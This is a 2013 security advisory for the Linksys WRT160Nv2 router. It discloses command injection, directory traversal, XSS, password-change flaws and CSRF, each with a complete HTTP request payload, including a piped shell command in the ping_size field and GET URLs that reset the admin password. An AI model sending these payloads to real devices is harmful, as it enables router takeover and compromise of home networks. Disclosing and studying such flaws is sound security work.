Device Name: Linksys WRT160Nv2
Vendor: Linksys/Cisco

============ Device Description: ============ 

Best For: Delivers plenty of speed and coverage, so large groups of users can go online, transfer large files, print, and stream stored media

Features:
    * Fast Wireless-N connectivity frees you to do more around your home
    * Easy to set up and use, industrial-strength security protection
    * Great for larger homes with many users

Source: http://homestore.cisco.com/en-us/routers/Linksys-WRT160N-Wireless-N-Router-Front-Page_stcVVproductId53934616VVcatId552009VVviewprod.htm

============  Vulnerable Firmware Releases: ============ 

Firmware Version: v2.0.03 build 009

============ Shodan Torks ============ 

Shodan Search: WRT160Nv2
	=> 4072 results

============ Vulnerability Overview: ============ 

* OS Command Injection

	=> parameter: ping_size

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/Diagnostics.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=|ping%20192%2e168%2e178%2e101|&ping_times=5&traceroute_ip=

Change the request methode from HTTP Post to HTTP GET makes the exploitation easier (CSRF):

http://Target-IP/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=|ping%20192%2e168%2e178%2e100|&ping_times=5&traceroute_ip=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WRT160Nv2-OS-Command-Injection.png

* Directory traversal:

	=> parameter: next_page
	
Access local files of the device. You need to be authenticated or you have to find other methods for accessing the device.

Request:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/Wireless_Basic.asp
Authorization: Basic XXXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version

Response:
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 02:53:16 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

Linux version 2.4.30 (tcy@cybertan) (gcc version 3.3.6) #9 Fri Aug 21 11:23:36 CST 2009

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WRT160Nv2-directory-traversal.png

* XSS

Injecting scripts into the parameter ddns_enable, need_reboot, ping_ip and ping_size reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

	=> Setup => DDNS
	=> parameter ddns_enable

POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/DDNS.asp
Authorization: Basic XXXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

submit_button=DDNS&action=&change_action=gozila_cgi&submit_type=&wait_time=6&ddns_changed=&ddns_enable='%3balert('pwnd')//

	=> Setup => Basic Setup
	=> parameter need_reboot

POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/index.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 568

pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=pppoe&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot='%3balert('pwnd')//&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=pppoe&ppp_username=pwnd&ppp_passwd=d6nw5v1x2pc7st9m&ppp_service=pwnd&ppp_demand=0&ppp_redialperiod=30&wan_hostname=pwnd&wan_domain=pwnd&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=233&lan_netmask=255.255.255.0&lan_proto=static&time_zone=-08+1+1&_daylight_time=1

	=> Administration => Diagnostics
	=> parameter ping_ip and ping_size
	
POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/Diagnostics.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1'><script>alert(2)</script>&ping_size=32'><script>alert(1)</script>&ping_times=5&traceroute_ip=

It is possible that there are much more XSS Vulnerabilities in this device. I have stopped testing here ... so feel free to check more parameters for input validation problems and XSS vulnerabilities.

* For changing the current password there is no request of the current password

	=> parameter: http_passwd and http_passwdConfirm

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

POST /apply.cgi HTTP/1.1
Host: 192.168.178.233
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.233/Management.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 250

submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&wait_time=4&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management:

http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&wait_time=4&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

Dezember 2012 - discovered vulnerability
23.12.2012 - Contacted Linksys and give them detailed vulnerability details
11.02.2013 - public release

===================== Advisory end =====================